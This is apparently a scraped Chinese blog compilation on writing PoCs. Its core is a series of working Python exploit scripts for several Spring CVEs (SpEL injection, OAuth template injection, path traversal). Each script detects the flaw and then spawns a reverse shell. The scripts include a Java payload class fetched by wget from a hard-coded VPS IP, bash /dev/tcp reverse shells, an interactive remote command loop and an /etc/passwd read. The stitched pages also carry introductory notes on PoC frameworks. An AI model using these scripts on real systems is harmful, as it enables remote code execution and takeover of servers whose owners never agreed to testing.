精华内容
下载资源
问答
  • POC编写指南

    2019-03-27 23:43:33
    转载自Medici.Yan,以真实案例为背景,针对当下主流的漏洞来分析漏洞,并且一步一步编写对应的 PoC
  • POC编写指南.pdf

    2020-08-17 11:19:52
    针对当下主流的漏洞来分析漏洞,可以在很多POC提交网站上练手
  • #资源分享达人# PoC编写学习思路
  • POC编写基础知识

    千次阅读 2020-12-23 14:03:06
    什么是 PoCPoC(全称: Proof of Concept), 中文译作概念验证。在安全界,你可以理解成为漏洞验证程序,和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码什么是 ExpExp(全称: ...

    什么是 PoC

    PoC(全称: Proof of Concept), 中文译作概念验证。在安全界,你可以理解成为漏洞验证程序,和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码

    什么是 Exp

    Exp(全称: Exploit),中文叫漏洞利用程序。名字上说的已经很清楚了,简单讲,就是一段可以发挥漏洞价值的程序,这话感觉和没说一样。想象一下这样的场景,目标存在一个 SQL 注入漏洞,然后被你知道了,然后你编写了一个程序,通过这个 SQL 注入漏洞,拿到了目标的权限,那么这个程序就是所谓的 Exp 了.

    POC与EXP的区别

    PoC 和 Exp 是两个东西,PoC 就是用来证明漏洞存在的,而 Exp 是用来利用这个漏洞的,在很多情况下,我们知道了漏洞存在,却不知道具体怎么利用,编写一个 PoC 非常简单,而编写一个 Exp 是相当有挑战性的。

    PoC 编写流程

    根据漏洞详情,寻找受影响版本程序

    如果是一些 CMS, 可以去 对应的官网下载历史版本程序,有些漏洞作者不会提具体版本号,那你就要根据漏洞作者提交的时间来判断了。当然除了官方网站之外,还可以去 github 上寻找源码,这些个官网都喜欢把历史版本的程序删除掉,善用 github 上的 tag, branch, release 功能,上面有你要的所有版本

    搭建对应漏洞靶场

    这里其实没什么好说的,下载了人家的源码之后,在你的虚拟机里面配置好环境就行了,还能顺便学一下运维的一些皮毛知识。

    手动复现漏洞

    根据漏洞详情,手动将整个流程走一遍,熟悉下复现条件,比如使用 GET 还是 POST 请求,需不需要登陆,返回的页面会是什么样子的,我提交不同的参数,会不会出现其它结果,如果漏洞不存在的话,会出现什么样的结果

    写代码

    手动复现了一次漏洞之后,分析漏洞证明步骤,根据自己的实际测试情况一步一步写代码,用我的话来说,写代码,其实就是用程序模拟人工操作的每一个步骤,如果你上一步认真做了,这一步只是经验问题

    编写POC,首推语言当然是Python了,原因很简单——好用,Python提供的强大类库可以让我们将主要精力都放在具体漏洞研究上,而不用去纠结诸如如何去实现HTML解析、HTTP发送等辅助功能。常用到的Python库如下:

    urllib2: 发送HTTP/HTTPS请求

    requests:更“高级”的urllib2库

    re:正则表达式

    random:生成随机数

    base64:base64编码

    hashlib:常用来计算md5值

    time:用来统计访问时间延迟

    ……

    当然语言只是工具载体,并不局限于Python。原则上你想用什么语言都可以,建议首选那种外部条件依赖少、简单好用而且自己也比较熟悉的语言

    测试 PoC

    其它测试和编码基本都是在同时进行的,为什么要单独提出来讲呢,我们在写 PoC 的时候,除了在存在漏洞的靶机上测试我们的代码,还要在不存在漏洞的站点测试,一般为说,一个优秀的 PoC 在后期测试的时候要求对 10000 个目标测试,误报不能超过 10 个

    国内 PoC 框架简介

    POC框架可以对大量POC进行管理与调度,提供了统一的编程规范与接口,是编写POC很好的帮手。我们只需要按照框架自定义的格式写好POC,然后放在框架中运行即可。目前国内有很多非常优秀框架,这里就介绍其中的几款

    1.Pocsuite

    Pocsuite框架现为知道创宇Seebug平台通用的漏洞验证框架,使用Python编写POC。可以提交POC换kb,kb可以用来兑换现金,挣点零花钱还是相当不错的。老司机们可能听过Sebug,那是Seebug的前身,2016年Sebug收购了另一个优秀框架Beebeeto后,更名为Seebug

    github地址:https://github.com/knownsec/Pocsuite

    2.Bugscan

    Bugscan是四叶草的官方框架,使用Python编写POC。提交POC插件获取rank 奖励,可兑换实物奖励,奖品还是蛮丰富的

    BugScan SDK:http://doc.bugscan.net/

    Tangscan

    Tangscan(唐朝扫描器)是wooyun社区的官方框架,使用Python编写POC。可以提交POC换汤圆,参与现金分红。Tangscan社区已经关闭,不知道还会不会开,里面的汤圆还没取出来呢。

    github地址:https://github.com/WooYun/TangScan

    展开全文
  • Poc编写

    2021-01-14 14:25:55
    推荐使用Python编写PoC,因为安全界用 Python 的人居多,写的东西能被更多人看懂,并且 Python 这门语言的灵活,类库强大等特性,给编写的人提供了很大便利。Exp(全称: Exploit),又叫漏洞利用程序。比如目标...

    0x01 PoC

    PoC(全称: Proof of Concept), 又叫概念验证。作为我们的漏洞验证程序,他可能是一段不完整的程序,仅仅是为了证明我们提出漏洞的观点。

    推荐使用Python编写PoC,因为安全界用 Python 的人居多,写的东西能被更多人看懂,并且 Python 这门语言的灵活,类库强大等特性,给编写的人提供了很大便利。

    Exp(全称: Exploit),又叫漏洞利用程序。比如目标存在一个 SQL 注入漏洞,我们分析到了该漏洞,然后我们编写一个程序,通过这个sql注入漏洞,最终拿到目标的权限,那么这个程序就是Exp。

    编写一个 PoC 相对简单,而编写一个 Exp 是相当有挑战性的。

    0x02 PoC与PoC框架

    PoC 框架就是一个批量管理,调度 PoC 的程序。因为是框架,要批量调度,那就要求 PoC 在编写的时候要遵守一些规范,这些规范常见的有:

    入口规范

    考虑到批量使用 PoC 的调度情况,统一入口框架调用该 PoC 的时候会非常之方便。这个就需要根据具体的框架的调度要求来看了,都有文档的,看一下就会了。

    API规范

    API 是该框架对一些基础类库的封装,比如说框架提供了一些网络请求工具。这些封装有什么好处呢?我还是举例子来说明,比如某次扫描,调用了 1000 个 PoC 去扫描目标主机了,假设这个扫描任务中有一部分是需要登录的,而有一些的作者在编写的时候忘记在 PoC 中接收用户自定义的 Cookie 了,那么此时就会因为接收不到 Cookie 而导致请求不成功。那么在使用了框架的情况下,即使在忘记了添加这些字段的情况下,框架也会自动将 Cookie 添加进请求中,为 PoC 开发者提供了极大的便利。

    常见PoC框架

    Beebeeto

    Seebug

    Bugscan

    Tangscan

    0x03 PoC编写

    网络基础:

    请求响应配对

    域名系统

    IP 地址

    TCP/IP协议

    HTTP 协议(重点)

    编码基础:

    HTML(更重要了解浏览器)

    Javascript(XSS、CSRF必备技能)

    Python(了解常用语法和功能库)

    SQL(sql注入的基础知识,增删改查必须掌握)

    正则表达式(自动化过程中经常用于匹配,能够起到事半功倍的效果)

    常用Python库编写##

    urllib、urllib2、requests # 发送 HTTP 请求的

    urlparse # 处理 url

    re # 正则表达式

    random # 生成随机数的

    hashlib # 集成md5算法

    base64 # base64编码

    socket # 套接字

    os/sys ......

    PoC编写 - 复现漏洞环境,将漏洞复现流程代码化的过程

    漏洞检测 - 使用编写好的 PoC 去验证测试目标是否存在着漏洞,需要注意的是在这个过程(或者说是在编写 PoC 的时候)需要做到安全、有效和无害,尽可能或者避免扫描过程对目标主机产生不可恢复的影响

    遵循三个标准:

    随机性、确定性、通用性

    随机性:涉及的关键变量或数据应该具有随机性,不要使用固定的变量值生成Payload

    确定性:通过测试内容找到唯一确定的标识来说明该漏洞是否存在,并且这个标识要具有针对性

    通用性:Poc中所使用的Payload或包含的检测代码应该兼顾各个测试环境或平台

    漏洞检测方法

    直接判断、间接判断

    直接判断:通过发送具有Payload的请求,从返回的内容匹配相应状态进行判断

    间接判断:借助其他工具间接反应漏洞是否触发

    展开全文
  • spring系列cve poc编写

    2021-02-13 00:23:28
    =&password=&repeatedPassword= 反弹shell成功 1.3 cve-2018-1273 poc编写 Spring在自动解析用户参数时候使用了SpelExpressionParser 来解析propertyName MapDataBinder.java Expression expression = PARSER.parse...

    本来是自己写在有道云笔记的,存粹是为了练习下python代码,也懒得打码了就是自己搭建的个漏测环境,师傅们手下留情.

    0x01 cve-2018-1273

    1.1 漏洞检测

    访问目标/users?page=&size=5

    cfc4e00f0630bfcb3a2039d1534efd84.png

    抓包,修改post包

    POST /users?page=&size=5 HTTP/1.1

    Host: 49.235.54.135:24814

    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

    Content-Type: application/x-www-form-urlencoded

    Content-Length: 121

    Origin: http://49.235.54.135:24814

    Connection: close

    Referer: http://49.235.54.135:24814//users

    Upgrade-Insecure-Requests: 1

    username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch root/test")]=&password=&repeatedPassword=

    8de1498755df1fc6950d2ebb03646ac2.png

    进入docker查看是否创建成功

    9a5ca975e781d3e63c7f104491fec2de.png

    1.2 反弹shell

    这里我们先编译一个class文件

    Exploit.java

    public class Exploit{

    public Exploit(){

    try{

    Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/目标IP/2222 0>&1");

    }catch(Exception e){

    e.printStackTrace();

    }

    }

    public static void main(String[] argv){

    Exploit e = new Exploit();

    }

    }

    然后反编译下java文件

    javac Exploit.java

    然后再vps上传class文件再开启web

    python3 -m http.server 8080

    然后再bp里面执行下载该class文件

    POST /users?page=&size=5 HTTP/1.1

    Host: 49.235.54.135:24814

    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

    Content-Type: application/x-www-form-urlencoded

    Content-Length: 149

    Origin: http://49.235.54.135:24814

    Connection: close

    Referer: http://49.235.54.135:24814//users

    Upgrade-Insecure-Requests: 1

    username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://198.13.51.45:8080/Exploit.class")]=&password=&repeatedPassword=

    然后我们再vps上面监听2222端口

    nc -lvvp 2222

    然后再bp执行

    POST /users?page=&size=5 HTTP/1.1

    Host: 49.235.54.135:24814

    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

    Content-Type: application/x-www-form-urlencoded

    Content-Length: 118

    Origin: http://49.235.54.135:24814

    Connection: close

    Referer: http://49.235.54.135:24814//users

    Upgrade-Insecure-Requests: 1

    username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("java Exploit")]=&password=&repeatedPassword=

    反弹shell成功

    ec07eac71be645f7846023d5c2ccc0fe.png

    1.3 cve-2018-1273 poc编写

    Spring在自动解析用户参数时候使用了SpelExpressionParser 来解析propertyName

    MapDataBinder.java

    Expression expression = PARSER.parseExpression(propertyName);

    PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();

    TypeInformation> owningType = leafProperty.getOwningType();

    TypeInformation> propertyType = owningType.getProperty(leafProperty.getSegment());

    propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;

    if (conversionRequired(value, propertyType.getType())) {

    PropertyDescriptor descriptor = BeanUtils

    .getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());

    MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);

    TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);

    value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);

    }

    expression.setValue(context, value);

    ProxyingHandlerMethodArgumentResolver在拿到参数的时候会创建一个MapDataBinder来解析参数MapDataBinder.bind()方法,会连带进行doBind操作,最终会调用到 setPropertyValue方法来,最后在 expression.setValue(context, value) 的时候触发了漏洞

    使用说明

    准备好class文件

    Exploit.java

    public class Exploit{

    public Exploit(){

    try{

    Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/目标IP/2222 0>&1");

    }catch(Exception e){

    e.printStackTrace();

    }

    }

    public static void main(String[] argv){

    Exploit e = new Exploit();

    }

    }

    然后反编译下java文件

    javac Exploit.java

    然后再vps上传class文件再开启web

    python3 -m http.server 8080

    这里url为http://198.13.51.45:8080/Exploit.class

    167aa46e72dadb5bd92b6874bfc4f1ee.png

    vps监听,这里监听端口为编译的class的端口

    e51e927ff2c8082e69ca8be77a8fcf9e.png

    1c8a13c86dff64fd559a1035728cd95c.png

    6fe1810505dde1471d7b50990fe36868.png

    import pyfiglet

    import requests

    ascii_banner = pyfiglet.figlet_format("CVE-2018-1273")

    print(ascii_banner)

    print("blog:https://www.cnblogs.com/yicunyiye/")

    print("-" * 50)

    payload_poc = {

    'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch root/test111")]':'',

    'password':'',

    'repeatedPassword':''

    }

    url = input("attack url:")

    print("-" * 50)

    # url = "http://49.235.54.135:24814//users?page=&size=5"

    target = url+ "/users?page=&size=5"

    try:

    res = requests.post(target,data=payload_poc)

    if(res.status_code == 500):

    print("[+]%s is vulnerable" % url)

    print("-" * 50)

    class_url = input("your exp class url:")

    cmd = "wget "+class_url

    payload_class = {

    'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("' +cmd+ '")]': '',

    'password': '',

    'repeatedPassword': ''

    }

    res_upload = requests.post(target,data=payload_class)

    if(res_upload.status_code == 500):

    print("[+]upload success")

    print("-" * 50)

    print("在vps监听端口,执行之后输入1继续,否则跳出程序")

    flag = input("请在监听后输入1:")

    print("-" * 50)

    flag = int(flag)

    if(flag == 1):

    payload_shell = {

    'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("java Exploit")]': '',

    'password': '',

    'repeatedPassword': ''

    }

    res_shell = requests.post(target,data=payload_shell)

    if(res_shell.status_code == 500):

    print("[+]反弹成功")

    else:

    print("[-]反弹失败")

    else:

    exit(0)

    else:

    print("[-]upload fail")

    print("-" * 50)

    else:

    print("[-]%s is not vulnerable" % url)

    except:

    print("[-]%s is not vulnerable" % url)

    0x02 CVE-2017-8046

    2.1 漏洞复现

    访问存在漏洞web

    775c3e107804f55a4747d449b974a563.png

    访问/persons目录

    cc6818ae4af26b0259abae51c110d00f.png

    post添加一个用户

    {"firstName":"test","lastName":"test"}

    1239aa2c19311d68dadf60a5992fd36c.png

    a8cb37140858caae68ac4a6473129a13.png

    可以看到id为1,在persons目录里面,使用PATCH方法尝试修改lastName

    在http头里面添加

    Content-Type': 'application/json-patch+json

    PATCH修改内容为

    [{"op":"replace","path":"/lastName","value":"hacker"}]

    f57e2d53d57853aa13844784047bd671.png

    可以看到修改成功

    如果要执行命令,需要转化为二进制执行,例如使用如下python代码:

    cmd = input("please input your command:")

    cmd = bytes(cmd, encoding='utf-8')

    bytecode = ','.join(str(i) for i in list(cmd))

    please input your command:touch /test

    116,111,117,99,104,32,47,116,101,115,116

    然后使用exp:

    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,101,115,116}))/lastname", "value": "vulhub" }]

    7255aeea9a0284fd6b0e4d7cbbca5501.png

    4ebe734d66a722aa8e21dccecfe92eb2.png

    执行成功

    反弹shell查看python代码,同样的操作,只是需要进行一个base64 bash编码

    2.2 CVE-2017-8046 编写poc

    这里输入获取到的url地址

    d77122a037e01d21d2aa157506d3134c.png

    9c87aed19a01c03c3dab0ce4619b757f.png

    6d0c4945228c02a626990911bd62fd17.png

    在vps监听

    8947eb6359f9ef81a26752dffa2d2cd5.png

    在exp输入shell

    a8fc2bf2a91adf07c336a8774fbe2098.png

    246b9962daceeaf9d6521c618de11374.png

    import requests

    import json

    import pyfiglet

    import base64

    import time

    import re

    ascii_banner = pyfiglet.figlet_format("CVE-2017-8046")

    print(ascii_banner)

    print("blog:https://www.cnblogs.com/yicunyiye/")

    print("-" * 50)

    url = input("attack url:")

    resp_url = requests.get(url)

    target_text = resp_url.text

    print("-" * 50)

    re_target = re.compile('"href" : "(.*?)"',re.I|re.S)

    target = re_target.findall(target_text)[0]

    once = requests.get(target)

    once = once.text

    print(once)

    print("-" * 50)

    print("输入json中任意两个键来创建值,比如firstname,lastname")

    first = input("first:")

    second = input("second:")

    # first = "lastname"

    # second = "firstname"

    create = {

    first:"yicunyiye",

    second:"hacker"

    }

    if('hacker' not in once):

    poc1 = requests.post(target,json=create)

    once = requests.get(target)

    once = once.text

    time.sleep(2)

    print("-" * 50)

    #匹配创建的用户信息的url地址

    re_target_once = re.compile('"hacker"(.*?)"profile"',re.I|re.S)

    result_once = re_target_once.findall(once)

    result_once = result_once[0]

    # input("111:")

    re_target_twice = re.compile('"href" : "(.*?)"',re.I|re.S)

    result_twice = re_target_twice.findall(result_once)

    json_url = result_twice[0]

    # json_url = input("输入json中的href地址:")

    # json_url = "http://49.235.54.135:47507/persons/1"

    replace_url = requests.patch(json_url,

    data=json.dumps([{"op": "replace", "path": "/"+first+"", "value": "fenghuaxueyue"}]),

    headers={'Content-Type': 'application/json-patch+json'})

    replace_url = replace_url.text

    if('fenghuaxueyue' in replace_url):

    print("[+]%s is vulnerable" % url)

    print("-" * 50)

    print("input exit will break,input shell you can get a shell")

    # cmd = "touch /tmp/test"

    # print("please input your command:"+cmd)

    while True:

    cmd = input("please input your command:")

    cmd = bytes(cmd, encoding='utf-8')

    flag = b'exit'

    if cmd == flag:

    print("bye~~")

    break

    bytecode = ','.join(str(i) for i in list(cmd))

    exp_url = requests.patch(json_url,

    data=json.dumps([{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{"+bytecode+"}))/lastname", "value": "yicunyiye" }]),

    headers={'Content-Type': 'application/json-patch+json'})

    if cmd == b'shell':

    reverse_ip = input('reverse ip:')

    reverse_port = input('reverse port:')

    bash_cmd = "bash -i >& /dev/tcp/" + reverse_ip + "/"+reverse_port+" 0>&1"

    base64_cmd = base64.b64encode(bytes(bash_cmd, encoding='utf-8'))

    string_bash = str(base64_cmd,'utf-8')

    reverse_cmd = "bash -c {echo," + string_bash + "}|{base64,-d}|{bash,-i}"

    poc = bytes(reverse_cmd, encoding='utf-8')

    poc_code = ','.join(str(i) for i in list(poc))

    exp = requests.patch(json_url,

    data=json.dumps([{"op": "replace",

    "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{" + poc_code + "}))/lastname",

    "value": "vulhub"}]),

    headers={'Content-Type': 'application/json-patch+json'})

    print("[+]getshell success")

    0x03 cve-2017-4971

    3.1 漏洞复现

    使用左边账号登录

    160029492dddf033c1b0527c8ade6c47.png

    进去了访问/hotels/1

    506231353f40c370cbfc35a2ff082ec8.png

    随便输入信息然后点击

    1549371e6213622a338e050a21500770.png

    7db2f2e1dac2df90e3b5a30814b13f25.png

    添加payload

    &_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=yicunyiye

    13398b9dc70ee3e90c4a2cd6d8141408.png

    3.2 cve-2017-4971 poc编写

    这里需要注意下就是登录以及后面的post数据包都采用了csrf_token,只需要用request.Session()固定下就,然后post前先get url 正则匹配下token就行了

    注意python编译器把空格变成+,我就在这里搞了好久--,结果发现被转义了

    4e1016274de0f3f0b99276b3e6721acd.png

    f1f5739bb8a4f27029d844148e7d89e6.png

    import requests

    import re

    import time

    import pyfiglet

    import datetime

    ascii_banner = pyfiglet.figlet_format("CVE-2017-4971")

    print(ascii_banner)

    print("blog:https://www.cnblogs.com/yicunyiye/")

    print("-" * 50)

    #用户登录时候的url

    # url = input("attack url:")

    url = "http://49.235.54.135:24924/"

    print("-" * 50)

    Post_login_url = url + "/loginProcess"

    #输入账号密码

    print("default:keith,erwin,jeremy,scott")

    # username = input("username:")

    username = "keith"

    print("default:melbourne,leuven,atlanta,rochester")

    # password = input("password:")

    password = "melbourne"

    #用户登录时候需要的csrf_token

    session = requests.Session()

    login_csrf_url = url + '/login'

    res_login = session.get(login_csrf_url)

    re_login_csrf = re.compile('name="_csrf" value="(.*?)"',re.I|re.S)

    login_token = re_login_csrf.findall(res_login.text)[0]

    #登录

    login_data = {

    "username":username,

    "password":password,

    "_csrf":login_token

    }

    login = session.post(Post_login_url,data=login_data,allow_redirects=False)

    try:

    login_flag = str(login.headers)

    if('JSESSIONID' in login_flag):

    print("-" * 50)

    print("[+]login success!")

    print("-" * 50)

    response = session.get(url+'/hotels/1')

    Location = session.get(url+'/hotels/booking?hotelId=1',allow_redirects=False)

    Location = Location.headers['Location']

    #填写hotel信息的url

    hotel_info_url = url+Location

    hotel_page = session.get(hotel_info_url)

    re_post_csrf = re.compile('name="_csrf" value="(.*?)"', re.I | re.S)

    post_token = re_post_csrf.findall(hotel_page.text)[0]

    today_add_1 = (datetime.datetime.now() + datetime.timedelta(days=1)).strftime("%m-%d-%Y")

    today_reduce_1 = (datetime.datetime.now() + datetime.timedelta(days=-1)).strftime("%m-%d-%Y")

    today_add_3 = (datetime.datetime.now() + datetime.timedelta(days=3)).strftime("%m-%d-%Y")

    post_data = {

    "checkinDate": today_add_1,

    "checkoutDate": today_add_1,

    "beds": "1",

    "smoking": "false",

    "_amenities": "on",

    "_amenities": "on",

    "_amenities": "on",

    "creditCard": "1231111111111111",

    "creditCardName": "11",

    "creditCardExpiryMonth": "1",

    "creditCardExpiryYear": "1",

    "_csrf": post_token,

    "_eventId_proceed": "_eventId_proceed",

    "ajaxSource": "proceed"

    }

    Spring_Redirec_URL = session.post(hotel_info_url,data=post_data)

    Spring_Redirec_URL = Spring_Redirec_URL.headers['Spring-Redirect-URL']

    confirm_url = url + Spring_Redirec_URL

    # res = session.get(confirm_url)

    reverse_ip = input("reverse ip:")

    reverse_port = input("reverse port:")

    confirm_data = {

    '_eventId_confirm':'',

    '_csrf':post_token,

    '_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/'+reverse_ip+'/'+reverse_port+' 0>&1")).start()':'yicunyiye'

    }

    res = session.get(confirm_url)

    time.sleep(2)

    payload_send = session.post(confirm_url,data=confirm_data,allow_redirects=False)

    if(payload_send.status_code == 500):

    print("[+]反弹shell成功!")

    print("-" * 50)

    else:

    print("[-]反弹shell失败!")

    print("-" * 50)

    else:

    print("-" * 50)

    print("[-]login failed!")

    print("-" * 50)

    except:

    print("bye~~")

    0x04 CVE-2016-4977

    4.1 CVE-2016-4977 poc编写

    import requests

    import pyfiglet

    import base64

    import time

    ascii_banner = pyfiglet.figlet_format("CVE-2016-4977")

    print(ascii_banner)

    print("blog:https://www.cnblogs.com/yicunyiye/")

    print("-" * 50)

    url = input("attack url:")

    username = input("username:")

    password = input("password:")

    print("-" * 50)

    data = username+":"+password

    res = base64.b64encode(data.encode("utf-8")).decode("utf-8")

    Authorization = "Basic " + res

    headers = {

    "Authorization": Authorization

    }

    payload = "oauth/authorize?response_type=${11*11}&client_id=acme&scope=openid&redirect_uri=http://test"

    target = url+payload

    res = requests.get(target,headers=headers)

    result = res.text

    if('121' in result):

    print("[+]%s is vulnerable" % url)

    print("-" * 50)

    reverse_ip = input('reverse ip:')

    reverse_port = input('reverse port:')

    bash_cmd = "bash -i >& /dev/tcp/" + reverse_ip + "/" + reverse_port + " 0>&1"

    base64_cmd = base64.b64encode(bytes(bash_cmd, encoding='utf-8'))

    string_bash = str(base64_cmd, 'utf-8')

    reverse_cmd = "bash -c {echo," + string_bash + "}|{base64,-d}|{bash,-i}"

    poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(reverse_cmd[0])

    for ch in reverse_cmd[1:]:

    poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

    poc += ')}'

    payload_getshell = "oauth/authorize?response_type="+poc+"&client_id=acme&scope=openid&redirect_uri=http://test"

    # print(payload_getshell)

    target_getshell = url + payload_getshell

    shell = requests.get(target_getshell,headers=headers)

    time.sleep(10)

    print("getshell success!")

    else:

    print("[-]%s is not vulnerable" % url)

    print("-" * 50)

    0x05 CVE-2020-5410

    5.1 CVE-2020-5410 poc编写

    import requests

    import pyfiglet

    ascii_banner = pyfiglet.figlet_format("CVE-2020-5410")

    print(ascii_banner)

    print("blog:https://www.cnblogs.com/yicunyiye/")

    print("-" * 50)

    url = input("attack url:")

    payload = "/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/ddd"

    result = requests.get(url+payload)

    if ('root' in result.text):

    print("[+]%s is vulnerable" % url)

    else:

    print("[-]%s is not vulnerable" % url)

    展开全文
  • POC编写基础————1、基础知识

    千次阅读 2019-02-27 16:01:19
    本系列内容主要讲解POC编写,而笔者也是一个小小白,刚刚学习POC编写不久,打算记录一些心得,有兴趣的可以一起讨论,一起交流,同时可以一起分享各自收藏或者编写POC进行学习! 什么是POC PoC(全称: Proof ...

    前言

    本系列内容主要讲解POC的编写,而笔者也是一个小小白,刚刚学习POC的编写不久,打算记录一些心得,有兴趣的可以一起讨论,一起交流,同时可以一起分享各自收藏或者编写的POC进行学习!

    什么是POC

    PoC(全称: Proof of Concept), 中文可译作“观点验证程序”,它主要用于证明提出者的观点是否正确,在信息安全领域这种观点一般是我们对于漏洞的判断,即目标系统是否存在漏洞。

    什么是EXP

    Exp(全称: Exploit,漏洞利用程序),从字面上可以了解到EXP的功能是对已知或已发现的漏洞进行利用,例如:获取目标系统的权限等等。

    什么是payload

    payload在信息安全领域意为“攻击载荷”,攻击载荷是我们期望目标系统在被渗透攻击之后去执行的代码。例如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷,而bind shell攻击载荷则在目标主机上将命令行shell 绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。攻击载荷也可能是简单的目标操作系统上执行一些命令,如添加账户等等。

    误区:很多人认为"POC就是EXP",这里明确指出POC与EXP绝对不是一个概念,如果是一个概念的话就没有必要区分EXP与POC了,POC是用于验证一个观点是否成立的,这个观点一般是指“漏洞是否存在”,而EXP是用于对存在的漏洞进行利用的。

    编程语言选择

    POC开发的语言其实没有限制,只是很多POC开发者更多偏向于使用“python”来开发POC,主要的原因在于python语言的灵活、以及强大的第三方库给了安全人员更多的方便,所以你所看到的POC中Python居多,而本系列也是基于python的POC开发哦!

    漏洞靶场

    不知道您是不是也经常听到靶场、靶机之类的词呢?这些词恰巧是伴随着“漏洞”而出现的,所谓的漏洞靶场(Vulnerability Firing Range)其实就是运行着有漏洞的应用程序(web/中间件/系统组件等等)的机器。而漏洞环境我们也可以使用虚拟机来自己搭建,也可以在阿里云或者腾讯云租服务器,之后搭建靶机环境,还有一种方法就是使用docker进行搭建,对于docker的环境可以自我去GitHub上找,非常多的。

    同时我们在学习POC的编写的时候建议读者自己去搭建环境,之后运行自己的POC来验证漏洞,不要直接在网上找目标来进行测试,这是违法的行为,违法的行为,违法的行为哦!请读者自我注意!

    POC编写的流程

    对于一个已经公开的漏洞,POC的编写流程大致是这样的:

    1、查看漏洞详情,了解漏洞影响的版本程序

    如果我们的目标是一个CMS,可以去他的官网下载历史版本程序,有些漏洞的作者可能不会提具体版本号,那么你就需要自我去更具各个版本的更新内容以及作者对漏洞的提交的时间来综合评估。除了去官网之外,我们还可以去GitHub上找寻原源代码,或者在GitHub上找相关的docker环境(docker一般是出来有一段时间的,近期的很少)。

    2、搭建漏洞靶场

    在了解了漏洞的详情、漏洞对应的应用程序的版本之后,我们需要自我在本地搭建漏洞靶场,可以使用虚拟机在本地搭建,也可以使用腾讯云或阿里云来搭建,根据自己的喜好来搭建,当然如果你愿意去创建docker环境那么就更加好了!

    3、复现漏洞

    环境搭建好之后,你可以跟着漏洞详情把整个流程走一遍,复现一下整个过程,看看是否整的存在,在这个过程中你应当注意一些参数、函数、提交方法、回显的数据包等,深入理解漏洞的原理、漏洞的利用过程、系统的脆弱点。

    在熟悉漏洞的详情以及原理之后,我们编写POC就变得较为简单了。

    4、编写POC

    复现完漏洞之后,你可以通过漏洞的证明步骤,结合自己的实际测试情况来一步一步的写代码。这个过程就和你做一套步骤天空题一样,例如:早上起床后先xxx,后xxx,最后xxx,之后xxx.....,一套流程走完你的POC基本上也就完成了。

    5、测试POC

    在编写好POC之后,我们就需要验证POC的有效性,看看它是否能够准确验证应用程序是否存在漏洞,这个过程也是你调试自

    POC&POC框架

    所谓的PoC 框架就是一个批量管理、调度 PoC 的程序。因为是框架,要批量调度,那就要求 PoC 在编写的时候要遵守一些规范,这些规范常见的有:

    1、入口规范

    考虑到批量使用 PoC 的调度情况,统一入口框架调用该 PoC 的时候会非常之方便。这个就需要根据具体的框架的调度要求来看了,都有文档的,看一下就会了。

    2、API 规范

    API 是该框架对一些基础类库的封装,比如说框架提供了一些网络请求工具。这些封装有什么好处呢?我还是举例子来说明,比如某次扫描,调用了 1000 个 PoC 去扫描目标主机了,假设这个扫描任务中有一部分是需要登录的,而有一些的作者在编写的时候忘记在 PoC 中接收用户自定义的 Cookie 了,那么此时就会因为接收不到 Cookie 而导致请求不成功。那么在使用了框架的情况下,即使在忘记了添加这些字段的情况下,框架也会自动将 Cookie 添加进请求中,为 PoC 开发者提供了极大的便利。

    国内POC框架介绍

    1、sebug-Pocsuite:http://pocsuite.org/

    Pocsuite 是 Sebug 平台上通用的远程漏洞验证框架,使用 Python 编写 PoC。写 PoC 可以直接兑换实物与现金奖励,兑换比例 1KB = ¥5。

    POC开发文档说明:https://github.com/knownsec/Pocsuite

    2、BugScan:http://www.bugscan.net/

